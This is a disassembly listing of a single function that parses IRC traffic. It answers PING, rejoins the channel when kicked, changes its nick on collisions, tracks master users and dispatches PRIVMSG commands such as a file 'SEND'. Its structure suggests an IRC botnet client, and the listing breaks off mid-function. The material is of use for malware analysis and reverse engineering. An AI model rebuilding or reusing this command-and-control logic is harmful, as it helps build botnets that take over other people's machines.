var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D0F8 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D0F4 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D0F0 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D084
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D030


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D00C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CFF0
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_4 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFB4
